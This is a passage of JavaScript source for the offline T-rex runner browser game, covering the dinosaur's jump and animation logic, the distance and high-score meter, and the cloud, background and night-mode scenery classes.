      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.xPos = 0;
  this.yPos = 0;
  this.xInitialPos = 0;
  // Position when on the ground.
  this.groundYPos = 0;
  this.currentFrame = 0;
  this.currentAnimFrames = [];
  this.blinkDelay = 0;
  this.blinkCount = 0;
  this.animStartTime = 0;
  this.timer = 0;
  this.msPerFrame = 1000 / FPS;
  this.config = Object.assign(Trex.config, Trex.normalJumpConfig);
  // Current status.
  this.status = Trex.status.WAITING;
  this.jumping = false;
  this.ducking = false;
  this.jumpVelocity = 0;
  this.reachedMinHeight = false;
  this.speedDrop = false;
  this.jumpCount = 0;
  this.jumpspotX = 0;
  this.altGameModeEnabled = false;
  this.flashing = false;

  this.init();
}


/**
 * T-rex player config.
 */
Trex.config = {
  DROP_VELOCITY: -5,
  FLASH_OFF: 175,
  FLASH_ON: 100,
  HEIGHT: 47,
  HEIGHT_DUCK: 25,
  INTRO_DURATION: 1500,
  SPEED_DROP_COEFFICIENT: 3,
  SPRITE_WIDTH: 262,
  START_X_POS: 50,
  WIDTH: 44,
  WIDTH_DUCK: 59,
};

Trex.slowJumpConfig = {
  GRAVITY: 0.25,
  MAX_JUMP_HEIGHT: 50,
  MIN_JUMP_HEIGHT: 45,
  INITIAL_JUMP_VELOCITY: -20,
};

Trex.normalJumpConfig = {
  GRAVITY: 0.6,
  MAX_JUMP_HEIGHT: 30,
  MIN_JUMP_HEIGHT: 30,
  INITIAL_JUMP_VELOCITY: -10,
};

/**
 * Used in collision detection.
 * @enum {Array<CollisionBox>}
 */
Trex.collisionBoxes = {
  DUCKING: [new CollisionBox(1, 18, 55, 25)],
  RUNNING: [
    new CollisionBox(22, 0, 17, 16),
    new CollisionBox(1, 18, 30, 9),
    new CollisionBox(10, 35, 14, 8),
    new CollisionBox(1, 24, 29, 5),
    new CollisionBox(5, 30, 21, 4),
    new CollisionBox(9, 34, 15, 4),
  ],
};


/**
 * Animation states.
 * @enum {string}
 */
Trex.status = {
  CRASHED: 'CRASHED',
  DUCKING: 'DUCKING',
  JUMPING: 'JUMPING',
  RUNNING: 'RUNNING',
  WAITING: 'WAITING',
};

/**
 * Blinking coefficient.
 * @const
 */
Trex.BLINK_TIMING = 7000;


/**
 * Animation config for different states.
 * @enum {Object}
 */
Trex.animFrames = {
  WAITING: {
    frames: [44, 0],
    msPerFrame: 1000 / 3,
  },
  RUNNING: {
    frames: [88, 132],
    msPerFrame: 1000 / 12,
  },
  CRASHED: {
    frames: [220],
    msPerFrame: 1000 / 60,
  },
  JUMPING: {
    frames: [0],
    msPerFrame: 1000 / 60,
  },
  DUCKING: {
    frames: [264, 323],
    msPerFrame: 1000 / 8,
  },
};


Trex.prototype = {
  /**
   * T-rex player initaliser.
   * Sets the t-rex to blink at random intervals.
   */
  init() {
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.config.BOTTOM_PAD;
    this.yPos = this.groundYPos;
    this.minJumpHeight = this.groundYPos - this.config.MIN_JUMP_HEIGHT;

    this.draw(0, 0);
    this.update(0, Trex.status.WAITING);
  },

  /**
   * Assign the appropriate jump parameters based on the game speed.
   */
  enableSlowConfig: function() {
    const jumpConfig =
        Runner.slowDown ? Trex.slowJumpConfig : Trex.normalJumpConfig;
    Trex.config = Object.assign(Trex.config, jumpConfig);

    this.adjustAltGameConfigForSlowSpeed();
  },

  /**
   * Enables the alternative game. Redefines the dino config.
   * @param {Object} spritePos New positioning within image sprite.
   */
  enableAltGameMode: function(spritePos) {
    this.altGameModeEnabled = true;
    this.spritePos = spritePos;
    const spriteDefinition = Runner.spriteDefinition['TREX'];

    // Update animation frames.
    Trex.animFrames.RUNNING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];
    Trex.animFrames.CRASHED.frames = [spriteDefinition.CRASHED.x];

    if (typeof spriteDefinition.JUMPING.x == 'object') {
      Trex.animFrames.JUMPING.frames = spriteDefinition.JUMPING.x;
    } else {
      Trex.animFrames.JUMPING.frames = [spriteDefinition.JUMPING.x];
    }

    Trex.animFrames.DUCKING.frames =
        [spriteDefinition.RUNNING_1.x, spriteDefinition.RUNNING_2.x];

    // Update Trex config
    Trex.config.GRAVITY = spriteDefinition.GRAVITY || Trex.config.GRAVITY;
    Trex.config.HEIGHT = spriteDefinition.RUNNING_1.h,
    Trex.config.INITIAL_JUMP_VELOCITY = spriteDefinition.INITIAL_JUMP_VELOCITY;
    Trex.config.MAX_JUMP_HEIGHT = spriteDefinition.MAX_JUMP_HEIGHT;
    Trex.config.MIN_JUMP_HEIGHT = spriteDefinition.MIN_JUMP_HEIGHT;
    Trex.config.WIDTH = spriteDefinition.RUNNING_1.w;
    Trex.config.WIDTH_JUMP = spriteDefinition.JUMPING.w;
    Trex.config.INVERT_JUMP = spriteDefinition.INVERT_JUMP;

    this.adjustAltGameConfigForSlowSpeed(spriteDefinition.GRAVITY);
    this.config = Trex.config;

    // Adjust bottom horizon placement.
    this.groundYPos = Runner.defaultDimensions.HEIGHT - this.config.HEIGHT -
        Runner.spriteDefinition['BOTTOM_PAD'];
    this.yPos = this.groundYPos;
    this.reset();
  },

  /**
   * Slow speeds adjustments for the alt game modes.
   * @param {number=} opt_gravityValue
   */
  adjustAltGameConfigForSlowSpeed: function(opt_gravityValue) {
    if (Runner.slowDown) {
      if (opt_gravityValue) {
        Trex.config.GRAVITY = opt_gravityValue / 1.5;
      }
      Trex.config.MIN_JUMP_HEIGHT *= 1.5;
      Trex.config.MAX_JUMP_HEIGHT *= 1.5;
      Trex.config.INITIAL_JUMP_VELOCITY =
          Trex.config.INITIAL_JUMP_VELOCITY * 1.5;
    }
  },

  /**
   * Setter whether dino is flashing.
   * @param {boolean} status
   */
  setFlashing: function(status) {
    this.flashing = status;
  },

  /**
   * Setter for the jump velocity.
   * The approriate drop velocity is also set.
   * @param {number} setting
   */
  setJumpVelocity(setting) {
    this.config.INITIAL_JUMP_VELOCITY = -setting;
    this.config.DROP_VELOCITY = -setting / 2;
  },

  /**
   * Set the animation status.
   * @param {!number} deltaTime
   * @param {Trex.status=} opt_status Optional status to switch to.
   */
  update(deltaTime, opt_status) {
    this.timer += deltaTime;

    // Update the status.
    if (opt_status) {
      this.status = opt_status;
      this.currentFrame = 0;
      this.msPerFrame = Trex.animFrames[opt_status].msPerFrame;
      this.currentAnimFrames = Trex.animFrames[opt_status].frames;

      if (opt_status === Trex.status.WAITING) {
        this.animStartTime = getTimeStamp();
        this.setBlinkDelay();
      }
    }
    // Game intro animation, T-rex moves in from the left.
    if (this.playingIntro && this.xPos < this.config.START_X_POS) {
      this.xPos += Math.round((this.config.START_X_POS /
          this.config.INTRO_DURATION) * deltaTime);
      this.xInitialPos = this.xPos;
    }

    if (this.status === Trex.status.WAITING) {
      this.blink(getTimeStamp());
    } else {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);
    }

    // Update the frame position.
    if (!this.flashing && this.timer >= this.msPerFrame) {
      this.currentFrame = this.currentFrame ==
          this.currentAnimFrames.length - 1 ? 0 : this.currentFrame + 1;
      this.timer = 0;
    }

    if (!this.altGameModeEnabled) {
      // Speed drop becomes duck if the down key is still being pressed.
      if (this.speedDrop && this.yPos === this.groundYPos) {
        this.speedDrop = false;
        this.setDuck(true);
      }
    }
  },

  /**
   * Draw the t-rex to a particular position.
   * @param {number} x
   * @param {number} y
   */
  draw(x, y) {
    let sourceX = x;
    let sourceY = y;
    let sourceWidth = this.ducking && this.status !== Trex.status.CRASHED ?
        this.config.WIDTH_DUCK :
        this.config.WIDTH;
    let sourceHeight = this.config.HEIGHT;
    const outputHeight = sourceHeight;

    let jumpOffset = Runner.spriteDefinition.TREX.JUMPING.xOffset;

    // Width of sprite changes on jump.
    if (this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      sourceWidth = this.config.WIDTH_JUMP;
    }

    if (IS_HIDPI) {
      sourceX *= 2;
      sourceY *= 2;
      sourceWidth *= 2;
      sourceHeight *= 2;
      jumpOffset *= 2;
    }

    // Adjustments for sprite sheet position.
    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    // Flashing.
    if (this.flashing) {
      if (this.timer < this.config.FLASH_ON) {
        this.canvasCtx.globalAlpha = 0.5;
      } else if (this.timer > this.config.FLASH_OFF) {
        this.timer = 0;
      }
    }

    // Ducking.
    if (!this.altGameModeEnabled && this.ducking &&
        this.status !== Trex.status.CRASHED) {
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH_DUCK, outputHeight);
    } else if (
        this.altGameModeEnabled && this.jumping &&
        this.status !== Trex.status.CRASHED) {
      // Jumping with adjustments.
      this.canvasCtx.drawImage(
          Runner.imageSprite, sourceX, sourceY, sourceWidth, sourceHeight,
          this.xPos - jumpOffset, this.yPos, this.config.WIDTH_JUMP,
          outputHeight);
    } else {
      // Crashed whilst ducking. Trex is standing up so needs adjustment.
      if (this.ducking && this.status === Trex.status.CRASHED) {
        this.xPos++;
      }
      // Standing / running
      this.canvasCtx.drawImage(Runner.imageSprite, sourceX, sourceY,
          sourceWidth, sourceHeight,
          this.xPos, this.yPos,
          this.config.WIDTH, outputHeight);
    }
    this.canvasCtx.globalAlpha = 1;
  },

  /**
   * Sets a random time for the blink to happen.
   */
  setBlinkDelay() {
    this.blinkDelay = Math.ceil(Math.random() * Trex.BLINK_TIMING);
  },

  /**
   * Make t-rex blink at random intervals.
   * @param {number} time Current time in milliseconds.
   */
  blink(time) {
    const deltaTime = time - this.animStartTime;

    if (deltaTime >= this.blinkDelay) {
      this.draw(this.currentAnimFrames[this.currentFrame], 0);

      if (this.currentFrame === 1) {
        // Set new random delay to blink.
        this.setBlinkDelay();
        this.animStartTime = time;
        this.blinkCount++;
      }
    }
  },

  /**
   * Initialise a jump.
   * @param {number} speed
   */
  startJump(speed) {
    if (!this.jumping) {
      this.update(0, Trex.status.JUMPING);
      // Tweak the jump velocity based on the speed.
      this.jumpVelocity = this.config.INITIAL_JUMP_VELOCITY - (speed / 10);
      this.jumping = true;
      this.reachedMinHeight = false;
      this.speedDrop = false;

      if (this.config.INVERT_JUMP) {
        this.minJumpHeight = this.groundYPos + this.config.MIN_JUMP_HEIGHT;
      }
    }
  },

  /**
   * Jump is complete, falling down.
   */
  endJump() {
    if (this.reachedMinHeight &&
        this.jumpVelocity < this.config.DROP_VELOCITY) {
      this.jumpVelocity = this.config.DROP_VELOCITY;
    }
  },

  /**
   * Update frame for a jump.
   * @param {number} deltaTime
   */
  updateJump(deltaTime) {
    const msPerFrame = Trex.animFrames[this.status].msPerFrame;
    const framesElapsed = deltaTime / msPerFrame;

    // Speed drop makes Trex fall faster.
    if (this.speedDrop) {
      this.yPos += Math.round(this.jumpVelocity *
          this.config.SPEED_DROP_COEFFICIENT * framesElapsed);
    } else if (this.config.INVERT_JUMP) {
      this.yPos -= Math.round(this.jumpVelocity * framesElapsed);
    } else {
      this.yPos += Math.round(this.jumpVelocity * framesElapsed);
    }

    this.jumpVelocity += this.config.GRAVITY * framesElapsed;

    // Minimum height has been reached.
    if (this.config.INVERT_JUMP && (this.yPos > this.minJumpHeight) ||
        !this.config.INVERT_JUMP && (this.yPos < this.minJumpHeight) ||
        this.speedDrop) {
      this.reachedMinHeight = true;
    }

    // Reached max height.
    if (this.config.INVERT_JUMP && (this.yPos > -this.config.MAX_JUMP_HEIGHT) ||
        !this.config.INVERT_JUMP && (this.yPos < this.config.MAX_JUMP_HEIGHT) ||
        this.speedDrop) {
      this.endJump();
    }

    // Back down at ground level. Jump completed.
    if ((this.config.INVERT_JUMP && this.yPos) < this.groundYPos ||
        (!this.config.INVERT_JUMP && this.yPos) > this.groundYPos) {
      this.reset();
      this.jumpCount++;

      if (Runner.audioCues) {
        Runner.generatedSoundFx.loopFootSteps();
      }
    }
  },

  /**
   * Set the speed drop. Immediately cancels the current jump.
   */
  setSpeedDrop() {
    this.speedDrop = true;
    this.jumpVelocity = 1;
  },

  /**
   * @param {boolean} isDucking
   */
  setDuck(isDucking) {
    if (isDucking && this.status !== Trex.status.DUCKING) {
      this.update(0, Trex.status.DUCKING);
      this.ducking = true;
    } else if (this.status === Trex.status.DUCKING) {
      this.update(0, Trex.status.RUNNING);
      this.ducking = false;
    }
  },

  /**
   * Reset the t-rex to running at start of game.
   */
  reset() {
    this.xPos = this.xInitialPos;
    this.yPos = this.groundYPos;
    this.jumpVelocity = 0;
    this.jumping = false;
    this.ducking = false;
    this.update(0, Trex.status.RUNNING);
    this.midair = false;
    this.speedDrop = false;
    this.jumpCount = 0;
  },
};


//******************************************************************************

/**
 * Handles displaying the distance meter.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} spritePos Image position in sprite.
 * @param {number} canvasWidth
 * @constructor
 */
function DistanceMeter(canvas, spritePos, canvasWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.image = Runner.imageSprite;
  this.spritePos = spritePos;
  this.x = 0;
  this.y = 5;

  this.currentDistance = 0;
  this.maxScore = 0;
  this.highScore = '0';
  this.container = null;

  this.digits = [];
  this.achievement = false;
  this.defaultString = '';
  this.flashTimer = 0;
  this.flashIterations = 0;
  this.invertTrigger = false;
  this.flashingRafId = null;
  this.highScoreBounds = {};
  this.highScoreFlashing = false;

  this.config = DistanceMeter.config;
  this.maxScoreUnits = this.config.MAX_DISTANCE_UNITS;
  this.canvasWidth = canvasWidth;
  this.init(canvasWidth);
}


/**
 * @enum {number}
 */
DistanceMeter.dimensions = {
  WIDTH: 10,
  HEIGHT: 13,
  DEST_WIDTH: 11,
};


/**
 * Y positioning of the digits in the sprite sheet.
 * X position is always 0.
 * @type {Array<number>}
 */
DistanceMeter.yPos = [0, 13, 27, 40, 53, 67, 80, 93, 107, 120];


/**
 * Distance meter config.
 * @enum {number}
 */
DistanceMeter.config = {
  // Number of digits.
  MAX_DISTANCE_UNITS: 5,

  // Distance that causes achievement animation.
  ACHIEVEMENT_DISTANCE: 100,

  // Used for conversion from pixel distance to a scaled unit.
  COEFFICIENT: 0.025,

  // Flash duration in milliseconds.
  FLASH_DURATION: 1000 / 4,

  // Flash iterations for achievement animation.
  FLASH_ITERATIONS: 3,

  // Padding around the high score hit area.
  HIGH_SCORE_HIT_AREA_PADDING: 4,
};


DistanceMeter.prototype = {
  /**
   * Initialise the distance meter to '00000'.
   * @param {number} width Canvas width in px.
   */
  init(width) {
    let maxDistanceStr = '';

    this.calcXPos(width);
    this.maxScore = this.maxScoreUnits;
    for (let i = 0; i < this.maxScoreUnits; i++) {
      this.draw(i, 0);
      this.defaultString += '0';
      maxDistanceStr += '9';
    }

    this.maxScore = parseInt(maxDistanceStr, 10);
  },

  /**
   * Calculate the xPos in the canvas.
   * @param {number} canvasWidth
   */
  calcXPos(canvasWidth) {
    this.x = canvasWidth - (DistanceMeter.dimensions.DEST_WIDTH *
        (this.maxScoreUnits + 1));
  },

  /**
   * Draw a digit to canvas.
   * @param {number} digitPos Position of the digit.
   * @param {number} value Digit value 0-9.
   * @param {boolean=} opt_highScore Whether drawing the high score.
   */
  draw(digitPos, value, opt_highScore) {
    let sourceWidth = DistanceMeter.dimensions.WIDTH;
    let sourceHeight = DistanceMeter.dimensions.HEIGHT;
    let sourceX = DistanceMeter.dimensions.WIDTH * value;
    let sourceY = 0;

    const targetX = digitPos * DistanceMeter.dimensions.DEST_WIDTH;
    const targetY = this.y;
    const targetWidth = DistanceMeter.dimensions.WIDTH;
    const targetHeight = DistanceMeter.dimensions.HEIGHT;

    // For high DPI we 2x source values.
    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    sourceX += this.spritePos.x;
    sourceY += this.spritePos.y;

    this.canvasCtx.save();

    if (IS_RTL) {
      if (opt_highScore) {
        this.canvasCtx.translate(
            this.canvasWidth -
                (DistanceMeter.dimensions.WIDTH * (this.maxScoreUnits + 3)),
            this.y);
      } else {
        this.canvasCtx.translate(
            this.canvasWidth - DistanceMeter.dimensions.WIDTH, this.y);
      }
      this.canvasCtx.scale(-1, 1);
    } else {
      const highScoreX =
          this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH;
      if (opt_highScore) {
        this.canvasCtx.translate(highScoreX, this.y);
      } else {
        this.canvasCtx.translate(this.x, this.y);
      }
    }

    this.canvasCtx.drawImage(
        this.image,
        sourceX,
        sourceY,
        sourceWidth,
        sourceHeight,
        targetX,
        targetY,
        targetWidth,
        targetHeight,
    );

    this.canvasCtx.restore();
  },

  /**
   * Covert pixel distance to a 'real' distance.
   * @param {number} distance Pixel distance ran.
   * @return {number} The 'real' distance ran.
   */
  getActualDistance(distance) {
    return distance ? Math.round(distance * this.config.COEFFICIENT) : 0;
  },

  /**
   * Update the distance meter.
   * @param {number} distance
   * @param {number} deltaTime
   * @return {boolean} Whether the acheivement sound fx should be played.
   */
  update(deltaTime, distance) {
    let paint = true;
    let playSound = false;

    if (!this.achievement) {
      distance = this.getActualDistance(distance);
      // Score has gone beyond the initial digit count.
      if (distance > this.maxScore && this.maxScoreUnits ==
        this.config.MAX_DISTANCE_UNITS) {
        this.maxScoreUnits++;
        this.maxScore = parseInt(this.maxScore + '9', 10);
      } else {
        this.distance = 0;
      }

      if (distance > 0) {
        // Achievement unlocked.
        if (distance % this.config.ACHIEVEMENT_DISTANCE === 0) {
          // Flash score and play sound.
          this.achievement = true;
          this.flashTimer = 0;
          playSound = true;
        }

        // Create a string representation of the distance with leading 0.
        const distanceStr = (this.defaultString +
            distance).substr(-this.maxScoreUnits);
        this.digits = distanceStr.split('');
      } else {
        this.digits = this.defaultString.split('');
      }
    } else {
      // Control flashing of the score on reaching acheivement.
      if (this.flashIterations <= this.config.FLASH_ITERATIONS) {
        this.flashTimer += deltaTime;

        if (this.flashTimer < this.config.FLASH_DURATION) {
          paint = false;
        } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
          this.flashTimer = 0;
          this.flashIterations++;
        }
      } else {
        this.achievement = false;
        this.flashIterations = 0;
        this.flashTimer = 0;
      }
    }

    // Draw the digits if not flashing.
    if (paint) {
      for (let i = this.digits.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.digits[i], 10));
      }
    }

    this.drawHighScore();
    return playSound;
  },

  /**
   * Draw the high score.
   */
  drawHighScore() {
    if (parseInt(this.highScore, 10) > 0) {
      this.canvasCtx.save();
      this.canvasCtx.globalAlpha = .8;
      for (let i = this.highScore.length - 1; i >= 0; i--) {
        this.draw(i, parseInt(this.highScore[i], 10), true);
      }
      this.canvasCtx.restore();
    }
  },

  /**
   * Set the highscore as a array string.
   * Position of char in the sprite: H - 10, I - 11.
   * @param {number} distance Distance ran in pixels.
   */
  setHighScore(distance) {
    distance = this.getActualDistance(distance);
    const highScoreStr = (this.defaultString +
        distance).substr(-this.maxScoreUnits);

    this.highScore = ['10', '11', ''].concat(highScoreStr.split(''));
  },


  /**
   * Whether a clicked is in the high score area.
   * @param {Event} e Event object.
   * @return {boolean} Whether the click was in the high score bounds.
   */
  hasClickedOnHighScore(e) {
    let x = 0;
    let y = 0;

    if (e.touches) {
      // Bounds for touch differ from pointer.
      const canvasBounds = this.canvas.getBoundingClientRect();
      x = e.touches[0].clientX - canvasBounds.left;
      y = e.touches[0].clientY - canvasBounds.top;
    } else {
      x = e.offsetX;
      y = e.offsetY;
    }

    this.highScoreBounds = this.getHighScoreBounds();
    return x >= this.highScoreBounds.x && x <=
        this.highScoreBounds.x + this.highScoreBounds.width &&
        y >= this.highScoreBounds.y && y <=
        this.highScoreBounds.y + this.highScoreBounds.height;
  },

  /**
   * Get the bounding box for the high score.
   * @return {Object} Object with x, y, width and height properties.
   */
  getHighScoreBounds() {
    return {
      x: (this.x - (this.maxScoreUnits * 2) * DistanceMeter.dimensions.WIDTH) -
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      y: this.y,
      width: DistanceMeter.dimensions.WIDTH * (this.highScore.length + 1) +
          DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING,
      height: DistanceMeter.dimensions.HEIGHT +
          (DistanceMeter.config.HIGH_SCORE_HIT_AREA_PADDING * 2),
    };
  },

  /**
   * Animate flashing the high score to indicate ready for resetting.
   * The flashing stops following this.config.FLASH_ITERATIONS x 2 flashes.
   */
  flashHighScore() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);
    let paint = true;
    this.frameTimeStamp = now;

    // Reached the max number of flashes.
    if (this.flashIterations > this.config.FLASH_ITERATIONS * 2) {
      this.cancelHighScoreFlashing();
      return;
    }

    this.flashTimer += deltaTime;

    if (this.flashTimer < this.config.FLASH_DURATION) {
      paint = false;
    } else if (this.flashTimer > this.config.FLASH_DURATION * 2) {
      this.flashTimer = 0;
      this.flashIterations++;
    }

    if (paint) {
      this.drawHighScore();
    } else {
      this.clearHighScoreBounds();
    }
    // Frame update.
    this.flashingRafId =
        requestAnimationFrame(this.flashHighScore.bind(this));
  },

  /**
   * Draw empty rectangle over high score.
   */
  clearHighScoreBounds() {
    this.canvasCtx.save();
    this.canvasCtx.fillStyle = '#fff';
    this.canvasCtx.rect(this.highScoreBounds.x, this.highScoreBounds.y,
        this.highScoreBounds.width, this.highScoreBounds.height);
    this.canvasCtx.fill();
    this.canvasCtx.restore();
  },

  /**
   * Starts the flashing of the high score.
   */
  startHighScoreFlashing() {
    this.highScoreFlashing = true;
    this.flashHighScore();
  },

  /**
   * Whether high score is flashing.
   * @return {boolean}
   */
  isHighScoreFlashing() {
    return this.highScoreFlashing;
  },

  /**
   * Stop flashing the high score.
   */
  cancelHighScoreFlashing() {
    if (this.flashingRafId) {
      cancelAnimationFrame(this.flashingRafId);
    }
    this.flashIterations = 0;
    this.flashTimer = 0;
    this.highScoreFlashing = false;
    this.clearHighScoreBounds();
    this.drawHighScore();
  },

  /**
   * Clear the high score.
   */
  resetHighScore() {
    this.setHighScore(0);
    this.cancelHighScoreFlashing();
  },

  /**
   * Reset the distance meter back to '00000'.
   */
  reset() {
    this.update(0, 0);
    this.achievement = false;
  },
};


//******************************************************************************

/**
 * Cloud background item.
 * Similar to an obstacle object but without collision boxes.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @constructor
 */
function Cloud(canvas, spritePos, containerWidth) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.gap =
      getRandomNum(Cloud.config.MIN_CLOUD_GAP, Cloud.config.MAX_CLOUD_GAP);

  this.init();
}


/**
 * Cloud object config.
 * @enum {number}
 */
Cloud.config = {
  HEIGHT: 14,
  MAX_CLOUD_GAP: 400,
  MAX_SKY_LEVEL: 30,
  MIN_CLOUD_GAP: 100,
  MIN_SKY_LEVEL: 71,
  WIDTH: 46,
};


Cloud.prototype = {
  /**
   * Initialise the cloud. Sets the Cloud height.
   */
  init() {
    this.yPos = getRandomNum(Cloud.config.MAX_SKY_LEVEL,
        Cloud.config.MIN_SKY_LEVEL);
    this.draw();
  },

  /**
   * Draw the cloud.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = Cloud.config.WIDTH;
    let sourceHeight = Cloud.config.HEIGHT;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;
    if (IS_HIDPI) {
      sourceWidth = sourceWidth * 2;
      sourceHeight = sourceHeight * 2;
    }

    this.canvasCtx.drawImage(Runner.imageSprite, this.spritePos.x,
        this.spritePos.y,
        sourceWidth, sourceHeight,
        this.xPos, this.yPos,
        outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the cloud position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      this.xPos -= Math.ceil(speed);
      this.draw();

      // Mark as removeable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the cloud is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + Cloud.config.WIDTH > 0;
  },
};


/**
 * Background item.
 * Similar to cloud, without random y position.
 * @param {HTMLCanvasElement} canvas Canvas element.
 * @param {Object} spritePos Position of image in sprite.
 * @param {number} containerWidth
 * @param {string} type Element type.
 * @constructor
 */
function BackgroundEl(canvas, spritePos, containerWidth, type) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
  this.spritePos = spritePos;
  this.containerWidth = containerWidth;
  this.xPos = containerWidth;
  this.yPos = 0;
  this.remove = false;
  this.type = type;
  this.gap =
      getRandomNum(BackgroundEl.config.MIN_GAP, BackgroundEl.config.MAX_GAP);
  this.animTimer = 0;
  this.switchFrames = false;

  this.spriteConfig = {};
  this.init();
}

/**
 * Background element object config.
 * Real values assigned when game type changes.
 * @enum {number}
 */
BackgroundEl.config = {
  MAX_BG_ELS: 0,
  MAX_GAP: 0,
  MIN_GAP: 0,
  POS: 0,
  SPEED: 0,
  Y_POS: 0,
  MS_PER_FRAME: 0,  // only needed when BACKGROUND_EL.FIXED is true
};


BackgroundEl.prototype = {
  /**
   * Initialise the element setting the y position.
   */
  init() {
    this.spriteConfig = Runner.spriteDefinition.BACKGROUND_EL[this.type];
    if (this.spriteConfig.FIXED) {
      this.xPos = this.spriteConfig.FIXED_X_POS;
    }
    this.yPos = BackgroundEl.config.Y_POS - this.spriteConfig.HEIGHT +
        this.spriteConfig.OFFSET;
    this.draw();
  },

  /**
   * Draw the element.
   */
  draw() {
    this.canvasCtx.save();
    let sourceWidth = this.spriteConfig.WIDTH;
    let sourceHeight = this.spriteConfig.HEIGHT;
    let sourceX = this.spriteConfig.X_POS;
    const outputWidth = sourceWidth;
    const outputHeight = sourceHeight;

    if (IS_HIDPI) {
      sourceWidth *= 2;
      sourceHeight *= 2;
      sourceX *= 2;
    }

    this.canvasCtx.drawImage(
        Runner.imageSprite, sourceX, this.spritePos.y, sourceWidth,
        sourceHeight, this.xPos, this.yPos, outputWidth, outputHeight);

    this.canvasCtx.restore();
  },

  /**
   * Update the background element position.
   * @param {number} speed
   */
  update(speed) {
    if (!this.remove) {
      if (this.spriteConfig.FIXED) {
        this.animTimer += speed;
        if (this.animTimer > BackgroundEl.config.MS_PER_FRAME) {
          this.animTimer = 0;
          this.switchFrames = !this.switchFrames;
        }

        if (this.spriteConfig.FIXED_Y_POS_1 &&
            this.spriteConfig.FIXED_Y_POS_2) {
          this.yPos = this.switchFrames ? this.spriteConfig.FIXED_Y_POS_1 :
                                          this.spriteConfig.FIXED_Y_POS_2;
        }
      } else {
        // Fixed speed, regardless of actual game speed.
        this.xPos -= BackgroundEl.config.SPEED;
      }
      this.draw();

      // Mark as removable if no longer in the canvas.
      if (!this.isVisible()) {
        this.remove = true;
      }
    }
  },

  /**
   * Check if the element is visible on the stage.
   * @return {boolean}
   */
  isVisible() {
    return this.xPos + this.spriteConfig.WIDTH > 0;
  },
};



//******************************************************************************

/**
 * Nightmode shows a moon and stars on the horizon.
 * @param {HTMLCanvasElement} canvas
 * @param {number} spritePos
 * @param {number} containerWidth
 * @constructor
 */
function NightMode(canvas, spritePos, containerWidth) {
  this.spritePos = spritePos;
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.xPos = containerWidth - 50;
  this.yPos = 30;
  this.currentPhase = 0;
  this.opacity = 0;
  this.containerWidth = containerWidth;
  this.stars = [];
  this.drawStars = false;
  this.placeStars();
}

/**
 * @enum {number}
 */
NightMode.config = {
  FADE_SPEED: 0.035,
  HEIGHT: 40,
  MOON_SPEED: 0.25,
  NUM_STARS: 2,
  STAR_SIZE: 9,
  STAR_SPEED: 0.3,
  STAR_MAX_Y: 70,
  WIDTH: 20,
};

NightMode.phases = [140, 120, 100, 60, 40, 20, 0];

NightMode.prototype = {
  /**
   * Update moving moon, changing phases.
   * @param {boolean} activated Whether night mode is activated.
   */
  update(activated) {
    // Moon phase.
    if (activated && this.opacity === 0) {
      this.currentPhase++;

      if (this.currentPhase >= NightMode.phases.length) {
        this.currentPhase = 0;
      }
    }

    // Fade in / out.
    if (activated && (this.opacity < 1 || this.opacity === 0)) {
      this.opacity += NightMode.config.FADE_SPEED;
    } else if (this.opacity > 0) {
      this.opacity -= NightMode.config.FADE_SPEED;
    }

    // Set moon positioning.
    if (this.opacity > 0) {
      this.xPos = this.updateXPos(this.xPos, NightMode.config.MOON_SPEED);

      // Update stars.
      if (this.drawStars) {
        for (let i = 0; i < NightMode.config.NUM_STARS; i++) {
          this.stars[i].x =
              this.updateXPos(this.stars[i].x, NightMode.config.STAR_SPEED);
        }
      }
      this.draw();
    } else {
      this.opacity = 0;
      this.placeStars();
    }
    this.drawStars = true;
  },

  updateXPos(currentPos, speed) {
    if (currentPos < -NightMode.config.WIDTH) {
      currentPos = this.containerWidth;
    } else {
      currentPos -= speed;
    }
    return currentPos;
  },

  draw() {
    let moonSourceWidth = this.currentPhase === 3 ? NightMode.config.WIDTH * 2 :
                                                    NightMode.config.WIDTH;
    let moonSourceHeight = NightMode.config.HEIGHT;
    let moonSourceX = this.spritePos.x + NightMode.phases[this.currentPhase];
    const moonOutputWidth = moonSourceWidth;
    let starSize = NightMode.config.STAR_SIZE;
    let starSourceX = Runner.spriteDefinitionByType.original.LDPI.STAR.x;

    if (IS_HIDPI) {
      moonSourceWidth *= 2;
      moonSourceHeight *= 2;
